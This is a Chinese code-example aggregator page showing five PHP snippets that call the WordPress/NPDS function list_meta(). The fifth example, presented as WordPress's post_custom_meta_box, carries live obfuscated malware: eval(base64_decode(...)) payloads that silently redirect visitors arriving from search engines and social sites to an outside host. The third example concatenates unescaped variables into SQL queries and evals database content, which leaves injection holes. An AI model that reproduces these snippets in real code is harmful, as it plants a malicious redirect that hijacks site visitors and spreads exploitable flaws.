本文整理汇总了PHP中list_meta函数的典型用法代码示例。如果您正苦于以下问题:PHP list_meta函数的具体用法?PHP list_meta怎么用?PHP list_meta使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了list_meta函数的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: _e
</div>
</div>
</fieldset>
</div>
<div class="dbx-b-ox-wrapper">
<fieldset id="postcustom" class="dbx-box">
<div class="dbx-h-andle-wrapper">
<h3 class="dbx-handle"><?php _e('Custom Fields') ?></h3>
</div>
<div class="dbx-c-ontent-wrapper">
<div id="postcustomstuff" class="dbx-content">
<table cellpadding="3">
<?php
$metadata = has_meta($post_ID);
list_meta($metadata);
?>
</table>
<?php
meta_form();
?>
<div id="ajax-response"></div>
</div>
</div>
</fieldset>
</div>
<?php do_action('dbx_post_advanced'); ?>
</div>
示例2: post_custom_meta_box
/**
* Display custom fields form fields.
*
* @since 2.6.0
*
* @param object $post
*/
function post_custom_meta_box($post)
{
?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php
$metadata = has_meta($post->ID);
foreach ($metadata as $key => $value) {
if (is_protected_meta($metadata[$key]['meta_key'], 'post') || !current_user_can('edit_post_meta', $post->ID, $metadata[$key]['meta_key'])) {
unset($metadata[$key]);
}
}
list_meta($metadata);
meta_form($post);
?>
</div>
<p><?php
_e('Custom fields can be used to add extra metadata to a post that you can <a href="https://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
?>
</p>
<?php
}
示例3: List_Meta_Lang
function List_Meta_Lang()
{
global $hlpfile, $NPDS_Prefix, $meta, $type_meta, $f_meta_nom, $f_titre, $adminimg;
if (!empty($meta)) {
$Q = sql_query("SELECT def, content, type_meta, type_uri, uri, description, obligatoire FROM " . $NPDS_Prefix . "metalang WHERE def = '" . $meta . "' ORDER BY type_meta, def ASC");
} else {
if (!empty($type_meta)) {
$Q = sql_query("SELECT def, content, type_meta, type_uri, uri, description, obligatoire FROM " . $NPDS_Prefix . "metalang WHERE type_meta = '" . $type_meta . "' ORDER BY type_meta, def ASC");
} else {
$Q = sql_query("SELECT def, content, type_meta, type_uri, uri, description, obligatoire FROM " . $NPDS_Prefix . "metalang ORDER BY 'type_meta','def' ASC");
}
}
include "header.php";
GraphicAdmin($hlpfile);
adminhead($f_meta_nom, $f_titre, $adminimg);
$tablmeta = '';
$tablmeta_c = '';
$ibid = 0;
while (list($def, $content, $type_meta, $type_uri, $uri, $description, $obligatoire) = sql_fetch_row($Q)) {
$tablmeta_c .= '
<tr>
<td>
<input type="hidden" name="nbr" value="' . $ibid . '" />';
if ($obligatoire == false) {
$tablmeta_c .= '<a href="admin.php?op=Edit_Meta_Lang&ml=' . urlencode($def) . '"><i class="fa fa-edit fa-lg" title="Editer ce méta-mot" data-toggle="tooltip" data-placement="right"></i></a> <i class="fa fa-trash-o fa-lg text-danger" title="Effacer ce méta-mot" data-toggle="tooltip" data-placement="right"></i> <input type="checkbox" name="action[' . $ibid . ']" value="' . $def . '" />';
} else {
$tablmeta_c .= '<a href="admin.php?op=Edit_Meta_Lang&ml=' . urlencode($def) . '" ><i class="fa fa-eye fa-lg" title="Voir le code de ce méta-mot" data-toggle="tooltip" ></i></a>';
}
$tablmeta_c .= '
</td>
<td><code>' . $def . '</code></td>
<td>' . $type_meta . '</td>';
if ($type_meta == 'smil') {
eval($content);
$tablmeta_c .= '
<td>' . $cmd . '</td>';
} else {
if ($type_meta == 'mot') {
$tablmeta_c .= '
<td>' . $content . '</td>';
} else {
$tablmeta_c .= '
<td>' . split_string_without_space(aff_langue($description), 29) . '</td>';
}
}
$tablmeta_c .= '
</tr>';
$ibid++;
}
sql_free_result($Q);
$tablmeta .= '
<hr />
<h3><a href="admin.php?op=Creat_Meta_Lang"><i class="fa fa-plus-square"></i></a> ' . adm_translate("Créer un nouveau") . ' META-MOT</h3>
<hr />
<h3>' . adm_translate("Recherche rapide") . '</h3>
<div class="row">
<div class="col-sm-3">' . list_meta($meta, $type_meta) . '</div>
<div class="col-sm-3">' . list_type_meta($type_meta) . '</div>
</div>
<hr />
<h3>META-MOT <span class="tag tag-default float-xs-right">' . $ibid . '</span></h3>
<form name="admin_meta_lang" action="admin.php" method="post" onsubmit="return confirm(\'' . adm_translate("Supprimer") . ' ?\')">
<table data-toggle="table" data-striped="true" data-search="true" data-show-toggle="true" data-mobile-responsive="true" data-icons-prefix="fa" data-icons="icons" >
<thead>
<tr>
<th data-sortable="true" data-halign="center" data-align="right">' . adm_translate("Fonctions") . '</th>
<th data-sortable="true" data-halign="center" >' . adm_translate("Nom") . '</th>
<th data-sortable="true" data-halign="center" >' . adm_translate("Type") . '</th>
<th data-sortable="true" data-halign="center" >' . adm_translate("Description") . '</th>
</tr>
</thead>
<tbody>';
$tablmeta .= $tablmeta_c;
$tablmeta .= '
<tr>
<td colspan="4">
<input type="hidden" name="op" value="Kill_Meta_Lang" />
<input type="image" src="images/admin/metalang/delete.gif" name="submit" value="kill" title="' . adm_translate("Tout supprimer") . '" alt="' . adm_translate("Tout supprimer") . '" />
</td>
</tr>
</tbody>
</table>
</form>';
echo $tablmeta;
adminfoot('', '', '', '');
}
示例4: post_custom_meta_box
/**
* Display custom fields form fields.
*
* @since 2.6.0
*
* @param object $post
*/
function post_custom_meta_box($post)
{
?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php
$metadata = has_meta($post->ID);
list_meta($metadata);
meta_form();
?>
</div>
<p><?php
_e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
?>
</p>
<?php
}
示例5: post_custom_meta_box
/**
* Display custom fields form fields.
*
* @since 2.6.0
*
* @param object $post
*/
function post_custom_meta_box($post)
{
?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0Ka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c3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.');
?>
</p>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVy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